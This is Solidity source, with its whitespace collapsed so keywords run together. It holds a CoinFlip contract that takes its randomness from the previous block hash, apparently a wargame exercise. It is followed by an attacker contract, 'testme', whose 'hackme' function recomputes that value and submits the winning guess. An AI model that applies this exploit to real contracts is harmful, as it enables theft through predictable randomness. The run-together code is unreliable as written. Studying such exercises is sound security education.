pragmasolidity^0.4.18;contract CoinFlip { uint256public consecutiveWins; uint256 lastHash; uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip()public{ consecutiveWins =0; } function flip(bool _guess)publicreturns(bool){ uint256 blockValue =uint256(block.blockhash(block.number-1)); if(lastHash == blockValue){ revert(); } lastHash = blockValue; uint256 coinFlip = blockValue/FACTOR; bool side = coinFlip ==1?true:false; if(side == _guess){ consecutiveWins++; returntrue; }else{ consecutiveWins =0; returnfalse; } }}pragmasolidity^0.4.18;contract testme{ uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968; CoinFlip cf; function testme(address aim){ cf=CoinFlip(aim); } function hackme()public{ uint256 blackvalue=uint256(block.blockhash(block.number-1)); uint256 coinfp=uint256(blackvalue / FACTOR); bool guess=coinfp==1?true:false; cf.flip(guess); }}